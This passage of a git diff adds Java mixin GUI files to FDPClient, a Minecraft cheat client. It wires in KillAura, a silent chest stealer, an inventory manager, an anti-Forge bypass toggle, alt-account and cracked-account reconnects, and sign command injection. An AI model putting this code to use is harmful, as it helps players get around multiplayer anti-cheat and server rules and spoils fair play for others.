RenderUtils.drawRoundedCornerRect(2, this.height - (int) fade - 1, this.width - 3, this.height - 2 ,3f, new Color(0,0,0,200).getRGB()); + + this.inputField.drawTextBox(); + + if (FDPClient.commandManager.getLatestAutoComplete().length > 0 && !inputField.getText().isEmpty() && inputField.getText().startsWith(String.valueOf(FDPClient.commandManager.getPrefix()))) { + String[] latestAutoComplete = FDPClient.commandManager.getLatestAutoComplete(); + String[] textArray = inputField.getText().split(" "); + String text = textArray[textArray.length - 1]; + Object[] result = Arrays.stream(latestAutoComplete).filter((str) -> str.toLowerCase().startsWith(text.toLowerCase())).toArray(); + String resultText = ""; + if(result.length>0) + resultText = ((String)result[0]).substring(Math.min(((String)result[0]).length(),text.length())); + + mc.fontRendererObj.drawStringWithShadow(resultText, 5.5F + inputField.xPosition + mc.fontRendererObj.getStringWidth(inputField.getText()), inputField.yPosition+2f, new Color(165, 165, 165).getRGB()); + } + + IChatComponent ichatcomponent = + this.mc.ingameGUI.getChatGUI().getChatComponent(Mouse.getX(), Mouse.getY()); + + if (ichatcomponent != null) + this.handleComponentHover(ichatcomponent, mouseX, mouseY); + ci.cancel(); + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiConnecting.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiConnecting.java new file mode 100644 index 0000000..e35c97f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiConnecting.java @@ -0,0 +1,48 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.ccbluex.liquidbounce.utils.ServerUtils; +import net.ccbluex.liquidbounce.utils.extensions.RendererExtensionKt; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.multiplayer.GuiConnecting; +import net.minecraft.client.multiplayer.ServerData; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(GuiConnecting.class) +public abstract class MixinGuiConnecting extends GuiScreen { + + @Inject(method = "connect", at = @At("HEAD")) + private void headConnect(final String ip, final int port, CallbackInfo callbackInfo) { + ServerUtils.serverData = new ServerData("", ip + ":" + port, false); + } + + /** + * @author CCBlueX + */ + @Overwrite + public void drawScreen(int mouseX, int mouseY, float partialTicks) { + this.drawDefaultBackground(); + + RenderUtils.drawLoadingCircle(this.width / 2, this.height / 4 + 70); + + String ip = "Unknown"; + + final ServerData serverData = mc.getCurrentServerData(); + if(serverData != null) + ip = serverData.serverIP; + + RendererExtensionKt.drawCenteredString(mc.fontRendererObj, "Connecting to", this.width / 2, this.height / 4 + 110, 0xFFFFFF, true); + RendererExtensionKt.drawCenteredString(mc.fontRendererObj, ip, this.width / 2, this.height / 4 + 120, 0x5281FB, true); + + super.drawScreen(mouseX, mouseY, partialTicks); + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiContainer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiContainer.java new file mode 100644 index 0000000..ceacc78 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiContainer.java @@ -0,0 +1,252 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import lombok.Setter; +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.KeyEvent; +import net.ccbluex.liquidbounce.features.module.modules.client.Animations; +import net.ccbluex.liquidbounce.features.module.modules.combat.KillAura; +import net.ccbluex.liquidbounce.features.module.modules.player.InvManager; +import net.ccbluex.liquidbounce.features.module.modules.world.Stealer; +import net.ccbluex.liquidbounce.utils.MinecraftInstance; +import net.ccbluex.liquidbounce.utils.render.EaseUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.GuiButton; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.gui.inventory.GuiChest; +import net.minecraft.client.gui.inventory.GuiContainer; +import org.lwjgl.opengl.GL11; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import java.util.Objects; + +/** + * The type Mixin gui container. + */ +@Mixin(GuiContainer.class) +public abstract class MixinGuiContainer extends MixinGuiScreen { + /** + * The X size. + */ + @Shadow + protected int xSize; + /** + * The Y size. + */ + @Shadow + protected int ySize; + /** + * The Gui left. + */ + @Shadow + protected int guiLeft; + /** + * The Gui top. + */ + @Shadow + protected int guiTop; + @Shadow + private int dragSplittingButton; + @Shadow + private int dragSplittingRemnant; + @Setter + private GuiButton fDPClient$stealButton, fDPClient$chestStealerButton, fDPClient$invManagerButton, fDPClient$killAuraButton; + private float fDPClient$progress = 0F; + private long fDPClient$lastMS = 0L; + private boolean fDPClient$translated = false; + /** + * Check hotbar keys boolean. + * + * @param keyCode the key code + * @return the boolean + */ + @Shadow + protected abstract boolean checkHotbarKeys(int keyCode); + + /** + * Inject init gui. + * + * @param callbackInfo the callback info + */ + @Inject(method = "initGui", at = @At("HEAD")) + public void injectInitGui(CallbackInfo callbackInfo) { + GuiScreen guiScreen = MinecraftInstance.mc.currentScreen; + + if (guiScreen instanceof GuiChest) { + buttonList.add(fDPClient$killAuraButton = new GuiButton(1024576, 5, 5, 150, 20, "Disable KillAura")); + buttonList.add(fDPClient$chestStealerButton = new GuiButton(727, 5, 27, 150, 20, "Disable Stealer")); + buttonList.add(fDPClient$invManagerButton = new GuiButton(321123, 5, 49, 150, 20, "Disable Manager")); + } + + fDPClient$lastMS = System.currentTimeMillis(); + fDPClient$progress = 0F; + } + + @Override + protected void fDPClient$injectedActionPerformed(GuiButton button) { + final KillAura killAura = Objects.requireNonNull(FDPClient.moduleManager.getModule(KillAura.class)); + final InvManager invManager = Objects.requireNonNull(FDPClient.moduleManager.getModule(InvManager.class)); + final Stealer stealer = Objects.requireNonNull(FDPClient.moduleManager.getModule(Stealer.class)); + if (button.id == 1024576) + killAura.setState(false); + if (button.id == 321123) + invManager.setState(false); + if (button.id == 727) + stealer.setState(false); + } + + @Inject(method = "drawScreen", at = @At("HEAD"), cancellable = true) + private void drawScreenHead(CallbackInfo callbackInfo) { + Stealer stealer = Objects.requireNonNull(FDPClient.moduleManager.getModule(Stealer.class)); + KillAura killAura = Objects.requireNonNull(FDPClient.moduleManager.getModule(KillAura.class)); + InvManager invManager = Objects.requireNonNull(FDPClient.moduleManager.getModule(InvManager.class)); + final Minecraft mc = MinecraftInstance.mc; + + if (fDPClient$progress >= 1F) fDPClient$progress = 1F; + else fDPClient$progress = (float) (System.currentTimeMillis() - fDPClient$lastMS) / (float) 200; + + if ((!(mc.currentScreen instanceof GuiChest) + || !stealer.getState() + || !stealer.getSilenceValue().get() + || stealer.getStillDisplayValue().get())) + RenderUtils.drawGradientRect(0, 0, this.width, this.height, -1072689136, -804253680); + + try { + GuiScreen guiScreen = mc.currentScreen; + + if (fDPClient$stealButton != null) fDPClient$stealButton.enabled = !stealer.getState(); + if (fDPClient$killAuraButton != null) + fDPClient$killAuraButton.enabled = killAura.getState(); + if (fDPClient$chestStealerButton != null) fDPClient$chestStealerButton.enabled = stealer.getState(); + if (fDPClient$invManagerButton != null) + fDPClient$invManagerButton.enabled = invManager.getState(); + + if (stealer.getState() && stealer.getSilenceValue().get() && guiScreen instanceof GuiChest) { + mc.setIngameFocus(); + mc.currentScreen = guiScreen; + + //hide GUI + if (stealer.getShowStringValue().get() && !stealer.getStillDisplayValue().get()) { + String tipString = "Stealing... Press Esc to stop."; + + mc.fontRendererObj.drawString(tipString, + (width / 2F) - (mc.fontRendererObj.getStringWidth(tipString) / 2F) - 0.5F, + (height / 2F) + 30, 0, false); + mc.fontRendererObj.drawString(tipString, + (width / 2F) - (mc.fontRendererObj.getStringWidth(tipString) / 2F) + 0.5F, + (height / 2F) + 30, 0, false); + mc.fontRendererObj.drawString(tipString, + (width / 2F) - (mc.fontRendererObj.getStringWidth(tipString) / 2F), + (height / 2F) + 29.5F, 0, false); + mc.fontRendererObj.drawString(tipString, + (width / 2F) - (mc.fontRendererObj.getStringWidth(tipString) / 2F), + (height / 2F) + 30.5F, 0, false); + mc.fontRendererObj.drawString(tipString, + (width / 2F) - (mc.fontRendererObj.getStringWidth(tipString) / 2F), + (height / 2F) + 30, 0xffffffff, false); + } + + if (!stealer.getOnce() && !stealer.getStillDisplayValue().get()) + callbackInfo.cancel(); + } + } catch (Exception e) { + // Basic exception handling with a print stack trace + e.printStackTrace(); + } + + // The corrected placement of the else block + if (mc.currentScreen != null && !(mc.currentScreen instanceof GuiChest)) { + mc.currentScreen.drawWorldBackground(0); + + final Animations animations = Animations.INSTANCE; + long fDPClient$guiOpenTime = -1; + double pct = Math.max(animations.getInvTimeValue().get() - (System.currentTimeMillis() - fDPClient$guiOpenTime), 0) / ((double) animations.getInvTimeValue().get()); + if (pct != 0) { + GL11.glPushMatrix(); + + pct = EaseUtils.INSTANCE.apply(EaseUtils.EnumEasingType.valueOf(animations.getInvEaseModeValue().get()), + EaseUtils.EnumEasingOrder.valueOf(animations.getInvEaseOrderModeValue().get()), pct); + + switch (animations.getInvModeValue().get().toLowerCase()) { + case "slide": { + GL11.glTranslated(0, -(guiTop + ySize) * pct, 0); + break; + } + case "zoom": { + double scale = 1 - pct; + GL11.glScaled(scale, scale, scale); + GL11.glTranslated(((guiLeft + (xSize * 0.5 * pct)) / scale) - guiLeft, + ((guiTop + (ySize * 0.5d * pct)) / scale) - guiTop, + 0); + break; + } + } + + fDPClient$translated = true; + GL11.glPopMatrix(); // Make sure to pop the matrix to avoid affecting other render calls + } + } + } + + + /** + * Draw screen return. + * + * @param callbackInfo the callback info + */ + @Inject(method = "drawScreen", at = @At("RETURN")) + public void drawScreenReturn(CallbackInfo callbackInfo) { + if (fDPClient$translated) { + GL11.glPopMatrix(); + fDPClient$translated = false; + } + final Animations animMod = Objects.requireNonNull(FDPClient.moduleManager.getModule(Animations.class)); + Stealer stealer = Objects.requireNonNull(FDPClient.moduleManager.getModule(Stealer.class)); + final Minecraft mc = MinecraftInstance.mc; + boolean checkFullSilence = stealer.getState() && stealer.getSilenceValue().get() && !stealer.getStillDisplayValue().get(); + + if (animMod.getState() && !(mc.currentScreen instanceof GuiChest && checkFullSilence)) + GL11.glPopMatrix(); + } + + @Inject(method = "mouseClicked", at = @At("HEAD"), cancellable = true) + private void checkCloseClick(int mouseX, int mouseY, int mouseButton, CallbackInfo ci) { + if (mouseButton - 100 == mc.gameSettings.keyBindInventory.getKeyCode()) { + mc.thePlayer.closeScreen(); + ci.cancel(); + } + } + + @Inject(method = "mouseClicked", at = @At("TAIL")) + private void checkHotbarClicks(int mouseX, int mouseY, int mouseButton, CallbackInfo ci) { + checkHotbarKeys(mouseButton - 100); + } + + @Inject(method = "updateDragSplitting", at = @At(value = "INVOKE", target = "Lnet/minecraft/item/ItemStack;copy()Lnet/minecraft/item/ItemStack;"), cancellable = true) + private void fixRemnants(CallbackInfo ci) { + if (this.dragSplittingButton == 2) { + this.dragSplittingRemnant = mc.thePlayer.inventory.getItemStack().getMaxStackSize(); + ci.cancel(); + } + } + + @Inject(method = "keyTyped", at = @At("HEAD")) + private void keyTyped(char typedChar, int keyCode, CallbackInfo ci) { + try { + if (Objects.requireNonNull(FDPClient.moduleManager.getModule(Stealer.class)).getState() && Objects.requireNonNull(FDPClient.moduleManager.getModule(Stealer.class)).getSilentTitleValue().get() && mc.currentScreen instanceof GuiChest) + FDPClient.eventManager.callEvent(new KeyEvent(keyCode == 0 ? typedChar + 256 : keyCode)); + } catch (Exception ignored){ + + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiDisconnected.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiDisconnected.java new file mode 100644 index 0000000..fdfa453 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiDisconnected.java @@ -0,0 +1,132 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import me.liuli.elixir.account.MinecraftAccount; +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.handler.network.AutoReconnect; +import net.ccbluex.liquidbounce.handler.network.ClientFixes; +import net.ccbluex.liquidbounce.ui.client.altmanager.GuiAltManager; +import net.ccbluex.liquidbounce.utils.ServerUtils; +import net.ccbluex.liquidbounce.utils.SessionUtils; +import net.ccbluex.liquidbounce.utils.extensions.RendererExtensionKt; +import net.ccbluex.liquidbounce.utils.login.LoginUtils; +import net.minecraft.client.gui.GuiButton; +import net.minecraft.client.gui.GuiDisconnected; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.multiplayer.ServerData; +import net.minecraftforge.fml.client.config.GuiSlider; +import org.lwjgl.input.Keyboard; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import java.text.DecimalFormat; +import java.util.List; +import java.util.Random; + +@Mixin(GuiDisconnected.class) +public abstract class MixinGuiDisconnected extends MixinGuiScreen { + private static final DecimalFormat DECIMAL_FORMAT = new DecimalFormat("#0"); + + @Shadow + private int field_175353_i; + + @Shadow @Final private GuiScreen parentScreen; + private GuiButton fDPClient$reconnectButton; + private GuiSlider fDPClient$autoReconnectDelaySlider; + private GuiButton fDPClient$forgeBypassButton; + private int fDPClient$reconnectTimer; + private String fDPClient$infoStr = "null"; + + @Inject(method = "initGui", at = @At("RETURN")) + private void initGui(CallbackInfo callbackInfo) { + fDPClient$reconnectTimer = 0; + SessionUtils.handleConnection(); + + final ServerData server=ServerUtils.serverData; + fDPClient$infoStr ="§fPlaying on: "+mc.session.getUsername()+" | "+server.serverIP; + buttonList.add(fDPClient$reconnectButton = new GuiButton(1, this.width / 2 - 100, this.height / 2 + field_175353_i / 2 + this.fontRendererObj.FONT_HEIGHT + 22, 98, 20, "Reconnect")); + + buttonList.add(fDPClient$autoReconnectDelaySlider = + new GuiSlider(2, this.width / 2 + 2, this.height / 2 + field_175353_i / 2 + + this.fontRendererObj.FONT_HEIGHT + 22, 98, 20, "AutoReconnect: ", + "ms", AutoReconnect.MIN, AutoReconnect.MAX, AutoReconnect.INSTANCE.getDelay(), false, true, + guiSlider -> { + AutoReconnect.INSTANCE.setDelay(guiSlider.getValueInt()); + + this.fDPClient$reconnectTimer = 0; + this.fDPClient$updateReconnectButton(); + this.fDPClient$updateSliderText(); + })); + + buttonList.add(new GuiButton(3, this.width / 2 - 100, this.height / 2 + field_175353_i / 2 + this.fontRendererObj.FONT_HEIGHT + 44, 98, 20, "RandomAlt")); + buttonList.add(new GuiButton(4, this.width / 2 + 2, this.height / 2 + field_175353_i / 2 + this.fontRendererObj.FONT_HEIGHT + 44, 98, 20, "RandomOffline")); + buttonList.add(fDPClient$forgeBypassButton = new GuiButton(5, this.width / 2 - 100, this.height / 2 + field_175353_i / 2 + this.fontRendererObj.FONT_HEIGHT + 66, "AntiForge: ")); + + fDPClient$updateSliderText(); + } + + @Inject(method = "actionPerformed", at = @At("HEAD")) + private void actionPerformed(GuiButton button, CallbackInfo callbackInfo) { + switch (button.id) { + case 1: + ServerUtils.connectToLastServer(); + break; + case 3: + final List<MinecraftAccount> accounts = FDPClient.fileManager.getAccountsConfig().getAltManagerMinecraftAccounts(); + if (accounts.isEmpty()) break; + + final MinecraftAccount minecraftAccount = accounts.get(new Random().nextInt(accounts.size())); + GuiAltManager.Companion.login(minecraftAccount); + ServerUtils.connectToLastServer(); + break; + case 4: + LoginUtils.INSTANCE.randomCracked(); + ServerUtils.connectToLastServer(); + break; + case 5: + ClientFixes.INSTANCE.setEnabled(!ClientFixes.INSTANCE.getEnabled()); + fDPClient$forgeBypassButton.displayString = "AntiForge: " + (ClientFixes.INSTANCE.getEnabled() ? "ON" : "OFF"); + FDPClient.fileManager.saveConfig(FDPClient.fileManager.getSpecialConfig()); + break; + } + } + + @Inject(method = "drawScreen", at = @At("RETURN")) + private void drawScreen(CallbackInfo callbackInfo) { + RendererExtensionKt.drawCenteredString(mc.fontRendererObj, fDPClient$infoStr, this.width / 2F, this.height / 2F + field_175353_i / 2F + this.fontRendererObj.FONT_HEIGHT + 100, 0, false); + if (AutoReconnect.INSTANCE.isEnabled()) { + this.fDPClient$updateReconnectButton(); + } + } + + private void fDPClient$updateSliderText() { + if (this.fDPClient$autoReconnectDelaySlider == null) + return; + + if (!AutoReconnect.INSTANCE.isEnabled()) { + this.fDPClient$autoReconnectDelaySlider.displayString = "AutoReconnect: Off"; + } else { + this.fDPClient$autoReconnectDelaySlider.displayString = "AutoReconnect: " + DECIMAL_FORMAT.format(AutoReconnect.INSTANCE.getDelay() / 1000.0) + "s"; + } + } + + private void fDPClient$updateReconnectButton() { + if (fDPClient$reconnectButton != null) + fDPClient$reconnectButton.displayString = "Reconnect" + (AutoReconnect.INSTANCE.isEnabled() ? " (" + (AutoReconnect.INSTANCE.getDelay() / 1000 - fDPClient$reconnectTimer / 20) + ")" : ""); + } + + @Inject(method = "keyTyped", at = @At("HEAD")) + private void keyTyped(char typedChar, int keyCode, CallbackInfo callbackInfo) { + if (keyCode == Keyboard.KEY_ESCAPE) { + mc.displayGuiScreen(parentScreen); + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiDownloadTerrain.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiDownloadTerrain.java new file mode 100644 index 0000000..4f190fb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiDownloadTerrain.java @@ -0,0 +1,49 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.minecraft.client.gui.GuiButton; +import net.minecraft.client.gui.GuiDownloadTerrain; +import net.minecraft.client.gui.GuiMainMenu; +import net.minecraft.client.gui.GuiMultiplayer; +import net.minecraft.client.resources.I18n; +import net.minecraft.realms.RealmsBridge; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(GuiDownloadTerrain.class) +public abstract class MixinGuiDownloadTerrain extends MixinGuiScreen { + + @Inject(method = "initGui", at = @At(value = "RETURN")) + private void injectDisconnectButton(CallbackInfo ci) { + this.buttonList.add(new GuiButton(0, this.width / 2 - 100, this.height / 4 + 120 + 12, I18n.format("gui.cancel"))); + + } + + @Override + protected void fDPClient$injectedActionPerformed(GuiButton button) { + if (button.id == 0) { + boolean flag = this.mc.isIntegratedServerRunning(); + boolean flag1 = this.mc.isConnectedToRealms(); + button.enabled = false; + + this.mc.theWorld.sendQuittingDisconnectingPacket(); + this.mc.loadWorld(null); + + if (flag) { + this.mc.displayGuiScreen(new GuiMainMenu()); + } else if (flag1) { + RealmsBridge realmsbridge = new RealmsBridge(); + realmsbridge.switchToRealms(new GuiMainMenu()); + } else { + this.mc.displayGuiScreen(new GuiMultiplayer(new GuiMainMenu())); + } + } + + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiEditSign.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiEditSign.java new file mode 100644 index 0000000..4ff2249 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiEditSign.java @@ -0,0 +1,132 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.minecraft.client.gui.GuiButton; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.gui.GuiTextField; +import net.minecraft.client.gui.inventory.GuiEditSign; +import net.minecraft.event.ClickEvent; +import net.minecraft.tileentity.TileEntitySign; +import net.minecraft.util.ChatAllowedCharacters; +import net.minecraft.util.ChatComponentText; +import net.minecraft.util.ChatStyle; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import java.awt.*; +import java.io.IOException; + +@Mixin(GuiEditSign.class) +public class MixinGuiEditSign extends GuiScreen { + + @Shadow + private int editLine; + @Shadow + private TileEntitySign tileSign; + @Shadow + private GuiButton doneBtn; + private boolean enabled; + private GuiButton toggleButton; + + private GuiTextField signCommand1; + private GuiTextField signCommand2; + private GuiTextField signCommand3; + private GuiTextField signCommand4; + + @Inject(method = "initGui", at = @At("RETURN")) + private void initGui(final CallbackInfo callbackInfo) { + buttonList.add(toggleButton = new GuiButton(1, this.width / 2 - 100, this.height / 4 + 145, enabled ? "Disable Formatting codes" : "Enable Formatting codes")); + + this.signCommand1 = new GuiTextField(0, fontRendererObj, this.width / 2 - 100, height - 15, 200, 10); + this.signCommand2 = new GuiTextField(1, fontRendererObj, this.width / 2 - 100, height - 15 * 2, 200, 10); + this.signCommand3 = new GuiTextField(2, fontRendererObj, this.width / 2 - 100, height - 15 * 3, 200, 10); + this.signCommand4 = new GuiTextField(3, fontRendererObj, this.width / 2 - 100, height - 15 * 4, 200, 10); + + this.signCommand1.setText(""); + this.signCommand2.setText(""); + this.signCommand3.setText(""); + this.signCommand4.setText(""); + } + + @Inject(method = "actionPerformed", at = @At("HEAD")) + private void actionPerformed(GuiButton button, CallbackInfo callbackInfo) { + switch (button.id) { + case 0: + if (!signCommand1.getText().isEmpty()) + tileSign.signText[0].setChatStyle(new ChatStyle().setChatClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, signCommand1.getText()))); + + if (!signCommand2.getText().isEmpty()) + tileSign.signText[1].setChatStyle(new ChatStyle().setChatClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, signCommand2.getText()))); + + if (!signCommand3.getText().isEmpty()) + tileSign.signText[2].setChatStyle(new ChatStyle().setChatClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, signCommand3.getText()))); + + if (!signCommand4.getText().isEmpty()) + tileSign.signText[3].setChatStyle(new ChatStyle().setChatClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, signCommand4.getText()))); + break; + case 1: + enabled = !enabled; + toggleButton.displayString = enabled ? "Disable Formatting codes" : "Enable Formatting codes"; + break; + } + } + + @Inject(method = "drawScreen", at = @At("RETURN")) + private void drawFields(CallbackInfo callbackInfo) { + fontRendererObj.drawString("§c§lCommands §7(§f§l1.8§7)", width / 2 - 100, height - 15 * 5, Color.WHITE.getRGB()); + + signCommand1.drawTextBox(); + signCommand2.drawTextBox(); + signCommand3.drawTextBox(); + signCommand4.drawTextBox(); + } + + @Override + protected void mouseClicked(int mouseX, int mouseY, int mouseButton) throws IOException { + this.signCommand1.mouseClicked(mouseX, mouseY, mouseButton); + this.signCommand2.mouseClicked(mouseX, mouseY, mouseButton); + this.signCommand3.mouseClicked(mouseX, mouseY, mouseButton); + this.signCommand4.mouseClicked(mouseX, mouseY, mouseButton); + + super.mouseClicked(mouseX, mouseY, mouseButton); + } + + /** + * @author CCBlueX + */ + @Overwrite + protected void keyTyped(char typedChar, int keyCode) throws IOException { + this.signCommand1.textboxKeyTyped(typedChar, keyCode); + this.signCommand2.textboxKeyTyped(typedChar, keyCode); + this.signCommand3.textboxKeyTyped(typedChar, keyCode); + this.signCommand4.textboxKeyTyped(typedChar, keyCode); + + if (signCommand1.isFocused() || signCommand2.isFocused() || signCommand3.isFocused() || signCommand4.isFocused()) + return; + + if (keyCode == 200) { + this.editLine = this.editLine - 1 & 3; + } + + if (keyCode == 208 || keyCode == 28 || keyCode == 156) { + this.editLine = this.editLine + 1 & 3; + } + + String s = this.tileSign.signText[this.editLine].getUnformattedText(); + if (keyCode == 14 && s.length() > 0) { + s = s.substring(0, s.length() - 1); + } + + if ((ChatAllowedCharacters.isAllowedCharacter(typedChar) || (enabled && typedChar == '§')) && this.fontRendererObj.getStringWidth(s + typedChar) <= 90) { + s = s + typedChar; + } + + this.tileSign.signText[this.editLine] = new ChatComponentText(s); + if (keyCode == 1) { + this.actionPerformed(this.doneBtn); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiGameOver.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiGameOver.java new file mode 100644 index 0000000..f04a830 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiGameOver.java @@ -0,0 +1,48 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.ccbluex.liquidbounce.ui.client.gui.GuiMainMenu; +import net.ccbluex.liquidbounce.utils.StatisticsUtils; +import net.minecraft.client.gui.GuiButton; +import net.minecraft.client.gui.GuiGameOver; +import net.minecraft.client.gui.GuiYesNo; +import net.minecraft.client.gui.GuiYesNoCallback; +import net.minecraft.client.resources.I18n; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(GuiGameOver.class) +public abstract class MixinGuiGameOver extends MixinGuiScreen implements GuiYesNoCallback { + @Inject(method = "actionPerformed", at = @At("HEAD")) + public void actionPerformed(GuiButton button, CallbackInfo callbackInfo) { + switch (button.id) { + case 0: + StatisticsUtils.addDeaths(); + this.mc.thePlayer.respawnPlayer(); + this.mc.displayGuiScreen(null); + break; + case 1: + if (this.mc.theWorld.getWorldInfo().isHardcoreModeEnabled()) { + this.mc.displayGuiScreen(new GuiMainMenu()); + } else { + GuiYesNo lvt_2_1_ = new GuiYesNo(this, I18n.format("deathScreen.quit.confirm"), "", I18n.format("deathScreen.titleScreen"), I18n.format("deathScreen.respawn"), 0); + this.mc.displayGuiScreen(lvt_2_1_); + lvt_2_1_.setButtonDelay(20); + } + } + } + + public void confirmClicked(boolean p_confirmClicked_1_, int p_confirmClicked_2_, CallbackInfo ci) { + if (p_confirmClicked_1_) { + StatisticsUtils.addDeaths(); + this.mc.theWorld.sendQuittingDisconnectingPacket(); + this.mc.loadWorld(null); + this.mc.displayGuiScreen(new GuiMainMenu()); + } else { + StatisticsUtils.addDeaths(); + this.mc.thePlayer.respawnPlayer(); + this.mc.displayGuiScreen(null); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiInGame.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiInGame.java new file mode 100644 index 0000000..32c7aa3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiInGame.java @@ -0,0 +1,168 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.Render2DEvent; +import net.ccbluex.liquidbounce.features.module.modules.client.Animations; +import net.ccbluex.liquidbounce.features.module.modules.client.HUD; +import net.ccbluex.liquidbounce.features.module.modules.client.HotbarSettings; +import net.ccbluex.liquidbounce.features.module.modules.visual.AntiBlind; +import net.ccbluex.liquidbounce.features.module.modules.visual.Crosshair; +import net.ccbluex.liquidbounce.injection.access.StaticStorage; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.GuiIngame; +import net.minecraft.client.gui.GuiPlayerTabOverlay; +import net.minecraft.client.gui.GuiStreamIndicator; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.RenderHelper; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.item.ItemStack; +import net.minecraft.util.ResourceLocation; +import org.spongepowered.asm.mixin.*; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +import java.awt.*; +import java.util.Objects; + +import static net.ccbluex.liquidbounce.utils.render.CombatRender.drawOnBorderedRect; + +@Mixin(GuiIngame.class) +public abstract class MixinGuiInGame extends MixinGui { + + @Shadow + protected abstract void renderHotbarItem(int index, int xPos, int yPos, float partialTicks, 